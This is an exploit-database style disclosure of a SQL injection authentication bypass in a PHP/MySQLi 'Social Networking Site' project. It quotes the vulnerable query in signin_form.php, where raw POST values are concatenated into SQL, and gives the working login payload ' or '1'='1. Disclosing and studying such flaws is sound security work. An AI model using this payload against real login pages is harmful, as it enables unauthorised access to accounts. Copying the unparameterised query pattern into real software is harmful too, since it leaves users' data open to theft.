Social Networking Site SQL Injection

`# Exploit Title: Social Networking Site - Authentication Bypass (SQli)  
# Date: 2020-11-17  
# Exploit Author: gh1mau   
# Email: [email protected]  
# Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code  
# Software Release Date: November 17, 2020  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
Vulnerable File:  
----------------   
/signin_form.php  
  
Vulnerable Code:  
-----------------  
Entry point:  
  
line 7: $email=$_POST['email'];  
line 8: $password=$_POST['password'];  
  
Exit point:  
line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and password='$password'");  
  
Vulnerable Issue:  
-----------------  
Attacker could bypass the authentication using simple sqli login bypass payload  
  
username: [email protected]  
password: ' or '1'='1  
  
  
  
  
`